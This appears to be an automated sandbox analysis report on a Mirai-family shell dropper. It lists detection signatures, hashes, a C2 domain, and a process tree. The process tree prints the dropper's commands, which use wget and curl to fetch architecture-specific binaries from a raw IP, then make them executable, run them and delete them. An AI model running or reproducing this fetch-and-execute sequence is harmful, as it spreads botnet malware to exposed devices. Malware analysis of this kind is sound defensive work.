Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    11/07/2026, 04:28

General

  • Target
    022cfc39fb54a53e4012b7cab8f4b0a3752419f14281e00f236faf16ba5853ce.sh
  • Size 2KB
  • Sample260711-e3pb5abw3r
  • SHA256 022cfc39fb54a53e4012b7cab8f4b0a3752419f14281e00f236faf16ba5853ce
  • MD5 SHA1 SHA512 TLSH

Malware Config

Extracted

Family
  • mirai

C2
  • igmc.duckdns.org

Signatures

  • Family: Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • File and Directory Permissions Modification 1 TTPs 15 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Modifies Watchdog functionality 1 TTPs 4 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Writes file to system bin folder 4 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Checks CPU configuration 1 TTPs 15 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 4 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 30 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/022cfc39fb54a53e4012b7cab8f4b0a3752419f14281e00f236faf16ba5853ce.sh
    /tmp/022cfc39fb54a53e4012b7cab8f4b0a3752419f14281e00f236faf16ba5853ce.sh
    1⤵
    • Executes dropped EXE
    PID:650
    • /bin/cp
      cp /bin/busybox /tmp/
      2⤵
      • Reads runtime system information
      • Writes file to tmp directory
      PID:655
    • /usr/bin/wget
      wget http://104.168.4.206/ar-15/ar15.x86
      2⤵
      • Writes file to tmp directory
      PID:662
    • /usr/bin/curl
      curl -O http://104.168.4.206/ar-15/ar15.x86
      2⤵
      • Checks CPU configuration
      • Reads runtime system information
      • Writes file to tmp directory
      PID:678
    • /bin/chmod
      chmod +x 022cfc39fb54a53e4012b7cab8f4b0a3752419f14281e00f236faf16ba5853ce.sh ar15.x86 busybox systemd-private-ca58c200cb1f4f39aae1ef79f7813d63-systemd-timedated.service-DzYNUI
      2⤵
      • File and Directory Permissions Modification
      PID:679
    • /tmp/ar15.x86
      ./ar15.x86 ar15.x86
      2⤵
        PID:680
      • /bin/rm
        rm -rf ar15.x86
        2⤵
          PID:682
        • /usr/bin/wget
          wget http://104.168.4.206/ar-15/ar15.mips
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:683
        • /usr/bin/curl
          curl -O http://104.168.4.206/ar-15/ar15.mips
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:693
        • /bin/chmod
          chmod +x 022cfc39fb54a53e4012b7cab8f4b0a3752419f14281e00f236faf16ba5853ce.sh ar15.mips busybox systemd-private-ca58c200cb1f4f39aae1ef79f7813d63-systemd-timedated.service-DzYNUI
          2⤵
          • File and Directory Permissions Modification
          PID:716
        • /tmp/ar15.mips
          ./ar15.mips ar15.mips
          2⤵
          • System Network Configuration Discovery
          PID:718
        • /bin/rm
          rm -rf ar15.mips
          2⤵
          • System Network Configuration Discovery
          PID:721
        • /usr/bin/wget
          wget http://104.168.4.206/ar-15/ar15.arc
          2⤵
          • Writes file to tmp directory
          PID:722
        • /usr/bin/curl
          curl -O http://104.168.4.206/ar-15/ar15.arc
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • Writes file to tmp directory
          PID:735
        • /bin/chmod
          chmod +x 022cfc39fb54a53e4012b7cab8f4b0a3752419f14281e00f236faf16ba5853ce.sh ar15.arc busybox systemd-private-ca58c200cb1f4f39aae1ef79f7813d63-systemd-timedated.service-DzYNUI
          2⤵
          • File and Directory Permissions Modification
          PID:738
        • /tmp/ar15.arc
          ./ar15.arc ar15.arc
          2⤵
            PID:739
          • /bin/rm
            rm -rf ar15.arc
            2⤵
              PID:742
            • /usr/bin/wget
              wget http://104.168.4.206/ar-15/ar15.i468
              2⤵
                PID:744
              • /usr/bin/curl
                curl -O http://104.168.4.206/ar-15/ar15.i468
                2⤵
                • Checks CPU configuration
                • Reads runtime system information
                • Writes file to tmp directory
                PID:759
              • /bin/chmod
                chmod +x 022cfc39fb54a53e4012b7cab8f4b0a3752419f14281e00f236faf16ba5853ce.sh ar15.i468 busybox systemd-private-ca58c200cb1f4f39aae1ef79f7813d63-systemd-timedated.service-DzYNUI
                2⤵
                • File and Directory Permissions Modification
                PID:772
              • /tmp/ar15.i468
                ./ar15.i468 ar15.i468
                2⤵
                  PID:773
                • /bin/rm
                  rm -rf ar15.i468
                  2⤵
                    PID:774
                  • /usr/bin/wget
                    wget http://104.168.4.206/ar-15/ar15.i686
                    2⤵
                    • Writes file to tmp directory
                    PID:775
                  • /usr/bin/curl
                    curl -O http://104.168.4.206/ar-15/ar15.i686
                    2⤵
                    • Checks CPU configuration
                    • Writes file to tmp directory
                    PID:776
                  • /bin/chmod
                    chmod +x 022cfc39fb54a53e4012b7cab8f4b0a3752419f14281e00f236faf16ba5853ce.sh ar15.i686 busybox systemd-private-ca58c200cb1f4f39aae1ef79f7813d63-systemd-timedated.service-DzYNUI
                    2⤵
                    • File and Directory Permissions Modification
                    PID:777
                  • /tmp/ar15.i686
                    ./ar15.i686 ar15.i686
                    2⤵
                      PID:778
                    • /bin/rm
                      rm -rf ar15.i686
                      2⤵
                        PID:780
                      • /usr/bin/wget
                        wget http://104.168.4.206/ar-15/ar15.x86_64
                        2⤵
                        • Writes file to tmp directory
                        PID:781
                      • /usr/bin/curl
                        curl -O http://104.168.4.206/ar-15/ar15.x86_64
                        2⤵
                        • Checks CPU configuration
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:782
                      • /bin/chmod
                        chmod +x 022cfc39fb54a53e4012b7cab8f4b0a3752419f14281e00f236faf16ba5853ce.sh ar15.x86_64 busybox systemd-private-ca58c200cb1f4f39aae1ef79f7813d63-systemd-timedated.service-DzYNUI
                        2⤵
                        • File and Directory Permissions Modification
                        PID:783
                      • /tmp/ar15.x86_64
                        ./ar15.x86_64 ar15.x86_64
                        2⤵
                          PID:784
                        • /bin/rm
                          rm -rf ar15.x86_64
                          2⤵
                            PID:786
                          • /usr/bin/wget
                            wget http://104.168.4.206/ar-15/ar15.mpsl
                            2⤵
                            • Writes file to tmp directory
                            PID:787
                          • /usr/bin/curl
                            curl -O http://104.168.4.206/ar-15/ar15.mpsl
                            2⤵
                            • Checks CPU configuration
                            • Reads runtime system information
                            • Writes file to tmp directory
                            PID:788
                          • /bin/chmod
                            chmod +x 022cfc39fb54a53e4012b7cab8f4b0a3752419f14281e00f236faf16ba5853ce.sh ar15.mpsl busybox systemd-private-ca58c200cb1f4f39aae1ef79f7813d63-systemd-timedated.service-DzYNUI
                            2⤵
                            • File and Directory Permissions Modification
                            PID:789
                          • /tmp/ar15.mpsl
                            ./ar15.mpsl ar15.mpsl
                            2⤵
                              PID:790
                            • /bin/rm
                              rm -rf ar15.mpsl
                              2⤵
                                PID:792
                              • /usr/bin/wget
                                wget http://104.168.4.206/ar-15/ar15.arm
                                2⤵
                                • Writes file to tmp directory
                                PID:793
                              • /usr/bin/curl
                                curl -O http://104.168.4.206/ar-15/ar15.arm
                                2⤵
                                • Checks CPU configuration
                                • Reads runtime system information
                                • Writes file to tmp directory
                                PID:794
                              • /bin/chmod
                                chmod +x 022cfc39fb54a53e4012b7cab8f4b0a3752419f14281e00f236faf16ba5853ce.sh ar15.arm busybox systemd-private-ca58c200cb1f4f39aae1ef79f7813d63-systemd-timedated.service-DzYNUI
                                2⤵
                                • File and Directory Permissions Modification
                                PID:795
                              • /tmp/ar15.arm
                                ./ar15.arm ar15.arm
                                2⤵
                                • Modifies Watchdog functionality
                                • Writes file to system bin folder
                                • Reads runtime system information
                                PID:796
                              • /bin/rm
                                rm -rf ar15.arm
                                2⤵
                                  PID:804
                                • /usr/bin/wget
                                  wget http://104.168.4.206/ar-15/ar15.arm5
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:805
                                • /usr/bin/curl
                                  curl -O http://104.168.4.206/ar-15/ar15.arm5
                                  2⤵
                                  • Checks CPU configuration
                                  • Writes file to tmp directory
                                  PID:806
                                • /bin/chmod
                                  chmod +x 022cfc39fb54a53e4012b7cab8f4b0a3752419f14281e00f236faf16ba5853ce.sh ar15.arm5 busybox systemd-private-ca58c200cb1f4f39aae1ef79f7813d63-systemd-timedated.service-DzYNUI
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:807
                                • /tmp/ar15.arm5
                                  ./ar15.arm5 ar15.arm5
                                  2⤵
                                    PID:808
                                  • /bin/rm
                                    rm -rf ar15.arm5
                                    2⤵
                                      PID:809
                                    • /usr/bin/wget
                                      wget http://104.168.4.206/ar-15/ar15.arm6
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:810
                                    • /usr/bin/curl
                                      curl -O http://104.168.4.206/ar-15/ar15.arm6
                                      2⤵
                                      • Checks CPU configuration
                                      • Reads runtime system information
                                      • Writes file to tmp directory
                                      PID:811
                                    • /bin/chmod
                                      chmod +x 022cfc39fb54a53e4012b7cab8f4b0a3752419f14281e00f236faf16ba5853ce.sh ar15.arm6 busybox systemd-private-ca58c200cb1f4f39aae1ef79f7813d63-systemd-timedated.service-DzYNUI
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:812
                                    • /tmp/ar15.arm6
                                      ./ar15.arm6 ar15.arm6
                                      2⤵
                                      • Reads runtime system information
                                      PID:813
                                    • /bin/rm
                                      rm -rf ar15.arm6
                                      2⤵
                                        PID:814
                                      • /usr/bin/wget
                                        wget http://104.168.4.206/ar-15/ar15.arm7
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:815
                                      • /usr/bin/curl
                                        curl -O http://104.168.4.206/ar-15/ar15.arm7
                                        2⤵
                                        • Checks CPU configuration
                                        • Reads runtime system information
                                        • Writes file to tmp directory
                                        PID:816
                                      • /bin/chmod
                                        chmod +x 022cfc39fb54a53e4012b7cab8f4b0a3752419f14281e00f236faf16ba5853ce.sh ar15.arm7 busybox systemd-private-ca58c200cb1f4f39aae1ef79f7813d63-systemd-timedated.service-DzYNUI
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:817
                                      • /tmp/ar15.arm7
                                        ./ar15.arm7 ar15.arm7
                                        2⤵
                                        • Modifies Watchdog functionality
                                        • Writes file to system bin folder
                                        • Reads runtime system information
                                        PID:818
                                      • /bin/rm
                                        rm -rf ar15.arm7
                                        2⤵
                                          PID:826
                                        • /usr/bin/wget
                                          wget http://104.168.4.206/ar-15/ar15.ppc
                                          2⤵
                                          • Writes file to tmp directory
                                          PID:827
                                        • /usr/bin/curl
                                          curl -O http://104.168.4.206/ar-15/ar15.ppc
                                          2⤵
                                          • Checks CPU configuration
                                          • Reads runtime system information
                                          • Writes file to tmp directory
                                          PID:828
                                        • /bin/chmod
                                          chmod +x 022cfc39fb54a53e4012b7cab8f4b0a3752419f14281e00f236faf16ba5853ce.sh ar15.ppc busybox systemd-private-ca58c200cb1f4f39aae1ef79f7813d63-systemd-timedated.service-DzYNUI
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:829
                                        • /tmp/ar15.ppc
                                          ./ar15.ppc ar15.ppc
                                          2⤵
                                            PID:830
                                          • /bin/rm
                                            rm -rf ar15.ppc
                                            2⤵
                                              PID:832
                                            • /usr/bin/wget
                                              wget http://104.168.4.206/ar-15/ar15.spc
                                              2⤵
                                              • Writes file to tmp directory
                                              PID:833
                                            • /usr/bin/curl
                                              curl -O http://104.168.4.206/ar-15/ar15.spc
                                              2⤵
                                              • Checks CPU configuration
                                              • Reads runtime system information
                                              • Writes file to tmp directory
                                              PID:834
                                            • /bin/chmod
                                              chmod +x 022cfc39fb54a53e4012b7cab8f4b0a3752419f14281e00f236faf16ba5853ce.sh ar15.spc busybox systemd-private-ca58c200cb1f4f39aae1ef79f7813d63-systemd-timedated.service-DzYNUI
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:835
                                            • /tmp/ar15.spc
                                              ./ar15.spc ar15.spc
                                              2⤵
                                                PID:836
                                              • /bin/rm
                                                rm -rf ar15.spc
                                                2⤵
                                                  PID:838
                                                • /usr/bin/wget
                                                  wget http://104.168.4.206/ar-15/ar15.m68k
                                                  2⤵
                                                  • Writes file to tmp directory
                                                  PID:839
                                                • /usr/bin/curl
                                                  curl -O http://104.168.4.206/ar-15/ar15.m68k
                                                  2⤵
                                                  • Checks CPU configuration
                                                  • Reads runtime system information
                                                  • Writes file to tmp directory
                                                  PID:840
                                                • /bin/chmod
                                                  chmod +x 022cfc39fb54a53e4012b7cab8f4b0a3752419f14281e00f236faf16ba5853ce.sh ar15.m68k busybox systemd-private-ca58c200cb1f4f39aae1ef79f7813d63-systemd-timedated.service-DzYNUI
                                                  2⤵
                                                  • File and Directory Permissions Modification
                                                  PID:841
                                                • /tmp/ar15.m68k
                                                  ./ar15.m68k ar15.m68k
                                                  2⤵
                                                    PID:842
                                                  • /bin/rm
                                                    rm -rf ar15.m68k
                                                    2⤵
                                                      PID:844
                                                    • /usr/bin/wget
                                                      wget http://104.168.4.206/ar-15/ar15.sh4
                                                      2⤵
                                                      • Writes file to tmp directory
                                                      PID:845
                                                    • /usr/bin/curl
                                                      curl -O http://104.168.4.206/ar-15/ar15.sh4
                                                      2⤵
                                                      • Checks CPU configuration
                                                      • Writes file to tmp directory
                                                      PID:846
                                                    • /bin/chmod
                                                      chmod +x 022cfc39fb54a53e4012b7cab8f4b0a3752419f14281e00f236faf16ba5853ce.sh ar15.sh4 busybox systemd-private-ca58c200cb1f4f39aae1ef79f7813d63-systemd-timedated.service-DzYNUI
                                                      2⤵
                                                      • File and Directory Permissions Modification
                                                      PID:847
                                                    • /tmp/ar15.sh4
                                                      ./ar15.sh4 ar15.sh4
                                                      2⤵
                                                        PID:848
                                                      • /bin/rm
                                                        rm -rf ar15.sh4
                                                        2⤵
                                                          PID:850

                                                      Network

                                                            MITRE ATT&CK Enterprise v16

                                                            Replay Monitor

                                                            Loading Replay Monitor...

                                                            Downloads

                                                            ar15.x86

                                                            • Path /tmp/ar15.x86
                                                            • Size 38KB
                                                            • SHA256 50de9e27eedaac5c4ed887c196899adbd136b63e72a5bcfcf9d3f4ac0460454b
                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                            busybox

                                                            • Path /tmp/busybox
                                                            • Size 507KB
                                                            • SHA256 2dd1fbb8052a89f40c2e9af115d31346e554ee746e9c7a97d651e43e0609df88
                                                            • MD5 SHA1 SHA512 SSDEEP TLSH